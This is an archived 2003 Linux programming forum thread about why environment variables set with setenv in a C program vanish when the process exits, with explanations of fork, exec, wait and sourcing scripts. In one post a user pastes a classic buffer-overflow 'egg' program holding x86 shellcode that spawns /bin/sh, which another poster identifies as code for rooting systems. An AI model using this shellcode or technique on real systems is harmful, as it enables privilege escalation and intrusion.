Click to See Complete Forum and Search --> : environment variables in C


threadhead
05-25-2003, 12:30 PM
hi there!

ive been coding in order to set environment variables.

my code looks like that:

#include <stdlib.h>

int main (void)
{

setenv("ABC", "HAHA", 1);
return 0;

}


when i then try that:

% echo $ABC


nothing appears, so i assume there doesnt exist the variable i just created with that code above.

whats wrong?

thank you

evac-q8r
05-25-2003, 12:57 PM
Maybe try putting a $ in front of ABC in "ABC" in the first argument of setenv function?

EVAC

evac-q8r
05-25-2003, 01:29 PM
OK, I think the enviroment variables may only be set throughout the duration of the process. So it is working, but when you finish the program, the value for that variable no longer exists. Perhaps.

#include <stdio.h>
#include <stdlib.h>

int main( void )
{
char* path;

if( setenv( "INCLUDE", "/usr/nto/include:/home/fred/include", 1 ) == 0 ) {
if( (path = getenv( "INCLUDE" )) != NULL ) {
printf( "INCLUDE=%s\n", path );
}
}

return EXIT_SUCCESS;
}
EVAC

threadhead
05-25-2003, 02:15 PM
i wrote a similar prorgam, and it printed out the value of the env var. after the termination of the process i couldnt access it anymore.

do you know how i can make the env var being there all the time? ;)

thanks

evac-q8r
05-25-2003, 03:18 PM
I'm not sure what you're trying to do, but I think writing a shell script would be easier. If you need to do some calculation of some sort within a C program then you can always execute a script or any executable for that matter using the system command or more efficiently the set of execl functions type "man execl" for more info. Here are some programs which I have retrieved from the book Beginning Linux Programming, 2nd Ed. by Richard Stones and Neil Matthew.

Obviously the first code is not a complete c-program. So you need to make whatever revisions necessary (minor). Running the second and third code will give you an idea of what the first program will do. The difference between the system and exec functions is that once the system function call completes the rest of the program is completed; however, when the exec function is encountered it does not return to the program one the call is finished. But the exec function allows you to set up environment variables and execute an executable or script with those particular enviroment variables.

How to do this more than once is beyond me, but I believe you need to incorporate forks and/or child functions to continue the original thread of execution if you wanted to execute more than one script with seperate exec functions in the same program or continue executing the rest of the program if more program code exists beyond the exec function, if that makes any sense to you. The fourth function shows you that once the exec function is called it does not call the printf function which is why it may be necessary to call the fork() or child() function. It may seem difficult, but I'm sure you can figure it out. :p


#include <unistd.h>

/* Example of an argument list */
/* Note that we need a program name for argv[0] */
const char *ps_argv[] =
{"ps", "-ax", 0};

/* Example environment, not terribly useful */
const char *ps_envp[] =
{"PATH=/bin:/usr/bin", "TERM=console", 0};

/* Possible calls to exec functions */
execl("/bin/ps", "ps", "-ax", 0}; /* assumes ps is in /bin */
execlp("ps", "ps", "-ax", 0); /* assumes /bin is in PATH */
execle("/bin/ps", "ps", "-ax", 0, ps_envp); /*passes own environment */

execv("/bin/ps", ps_argv);
execvp("ps", ps_argv);
execve("/bin/ps", ps_argv, ps_envp);

#include <stdlib.h>
#include <stdio.h>

int main()
{
printf("Running ps with system\n");
system("ps -ax");
printf("Done.\n");
exit(0);
}

#include <stdlib.h>
#include <stdio.h>

int main()
{
printf("Running ps with system\n");
system("ps -ax &");
printf("Done.\n");
exit(0);
}

#include <unistd.h>
#include <stdio.h>

int main()
{
printf("Running ps with execlp\n");
execlp("ps", "ps", "-ax", 0);
printf("Done.\n");
exit(0);
}
Hope these help you.

EVAC

bwkaz
05-25-2003, 03:25 PM
You can't change the parent's (the shell's) environment from a child, as far as I know anyway.

You can do it by sourcing a shell script, but not inside a program. Sorry... :(

evac-q8r
05-25-2003, 04:14 PM
I think you can as evidenced with this code.
#include <stdio.h>
#include <stdlib.h>

int main( void )
{
char* path;

if( setenv( "INCLUDE", "/usr/nto/include:/home/fred/include", 1 ) == 0 ) {
if( (path = getenv( "INCLUDE" )) != NULL ) {
printf( "INCLUDE=%s\n", path );
}
}
system("env");
printf("Done.\n");

return EXIT_SUCCESS;
}

It only lasts within the duration of the program though. It makes you question whether it is the shell enviroment or an environment provided by the shell for the program temporarily. I have a hunch it is the shell environment. The question now becomes how does one make these changes stick after program completion. I don't know.

EVAC

threadhead
05-25-2003, 05:06 PM
Originally posted by evac-q8r
The question now becomes how does one make these changes stick after program completion. I don't know.

EVAC

thats exactly, what i wanted to know. :)
how can i create an environment variable in C still existing after termination of the c program?

evac-q8r
05-25-2003, 06:19 PM
You should probably just use the source command. What you do is create a file with all the environment variables set the way you want and type source "filename". Like I said earlier, if you give us more detail there is probably a more effective solution to this problem; otherwise, use the source command and then run whatever program. That is what the source command is for. Or you can do it with prompt% . ./shell_script_which_sets_env_vars
or
prompt% source shell_script Then you can have a number of different source scripts and source the script for the enviroment variables you want at any particular time. I guess I don't see the point of setting the enviroment variables within the C code and then exiting without doing anything else.
If that is the case just source it like bkwaz suggested in his post.
EVAC

bwkaz
05-25-2003, 09:31 PM
Originally posted by evac-q8r
It makes you question whether it is the shell enviroment or an environment provided by the shell for the program temporarily. It's the second -- the kernel, when fork() is called, copies the entire address space of the process calling fork() into a new process.

The environment is held in the address space.

The shell, when it executes your program, calls fork(), then calls exec() in the child (and wait() in the parent, unless you put an & after the command name, in which case it adds the job to its joblist and prompts you again).

When the shell calls fork(), your program inherits a copy of its environment. Any changes you make are lost when your program either returns to the C library (returns from main()), or calls exit().

DragonHead
05-25-2003, 11:22 PM
Originally posted by bwkaz
It's the second -- the kernel, when fork() is called, copies the entire address space of the process calling fork() into a new process.

The environment is held in the address space.

The shell, when it executes your program, calls fork(), then calls exec() in the child (and wait() in the parent, unless you put an & after the command name, in which case it adds the job to its joblist and prompts you again).

When the shell calls fork(), your program inherits a copy of its environment. Any changes you make are lost when your program either returns to the C library (returns from main()), or calls exit().

1) Correct on the enviroment part. The child gets an exact copy of the parents memory structure. However, any changes you do to the child ENV (or whatever) are not reflect in the parent. Unless your using shared memory or semephores(sp?) or something like that.

2) There is no wait() in the parent after a fork.

DragonHead
05-25-2003, 11:27 PM
Originally posted by threadhead
thats exactly, what i wanted to know. :)
how can i create an environment variable in C still existing after termination of the c program?

As stated, the ENV is a "per process" thing. Once the process ends, the enviroment goes away. So you will have to SET the env each time, or if it needs to be changed.

As stated, most people simply set up a source file. If your program is "auto started/run", (like from a cron job), a common thing is to have the cron run a shell script. The shell script will source a file (therefor setting up the ENV) then call the desired program.

That may not work for you though. We don't really know what you are trying to do.

threadhead
05-26-2003, 05:15 AM
well the env variable in my case should hold special data.
like when i have a char array, i fill it up with some text (may it be "hello world") or something like that.


char buffer[] = "hello world";

memcpy(buffer, "ABC=", 4);

putenv(buffer);



then the buffer would have the required format for the putenv function listed in stdlib.h.

as i said, the variable in only there when the program is executing.
but is there no way to create env variables for all the time? (in C of course)

EDIT:

i found some code that worked with the env variables (actually i dont know why thisone is working)

#include <stdlib.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x 46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x 89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);

if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}


thanks :)

EDIT:

oh right, i see why. ;)
the system() is executing a shell, and this shell holds the env variable i guess.

dchidelf
05-26-2003, 09:52 AM
Unless you what to come back and kill off all the extra shells that have been spawned, that is probably not the solution.

But, the following would do the same thing as the code you posted.


void main(int argc, char *argv[]) {
putenv("VAR=hello");
system("/bin/bash");
}


All the other stuff in the code you posted is used to root systems.

bwkaz
05-26-2003, 11:13 AM
Originally posted by DragonHead
2) There is no wait() in the parent after a fork. Really? I beg to differ.

If the parent process didn't wait() for the child, then you'd get a prompt back immediately after running all commands. You'd get your prompt printed (probably) first, then the contents of the directory (if you ran ls). You'd get your prompt, then the output of the X server (if you ran startx).

Unless the shell just uses system(), but system() is just a wrapper around fork(), exec(), and wait() anyway -- take a look at the glibc source if you don't believe me. :)

Or, take a look at the bash source to see what it uses. It's in the execute-cmd.c file, in the execute_command, execute_command_internal, make_child (the one that fork()s), and wait_for (which is in jobs.c) functions.

DragonHead
05-27-2003, 09:52 AM
After the fork, both the child and the parent continue executing with the instruction that follows the call to fork. How can the parent keep "working" if it is waiting?

In general, we never know if the child starts executing before the parent or vice versa. This depends on the scheduling algorithm used by the kernal. This is what causes "race conditions".

Now, there is vfork. But that only only guarantees that the child runs first, until the child calls exec or exit. When the child calls either of these functions, the parent resumes.

The parent could call wait(). Wait can block the caller until a child process terminates.

But unless told to, the parent does NOT do a wait().

dchidelf
05-27-2003, 04:41 PM
DragonHead,
What shell do you use that doesn't do a wait?
And what work has the shell got to do in between commands from the user? Is it writting a novel?

DragonHead
05-27-2003, 05:08 PM
Well..actually..I misread what Bwkaz said. I thought he was talking about forks() in general. Not just shells. I need to eat a snicker bar :rolleyes:

But yea, shell commands fork and the parent does a waitpid

bwkaz
05-27-2003, 10:04 PM
Reading your post (the second-to-last one), I see what you were thinking.

You are right -- if no code that calls wait() is executed, the parent won't wait. Like you've figured out, I'm saying that the shell calls waitpid() itself, so the parent does wait. :)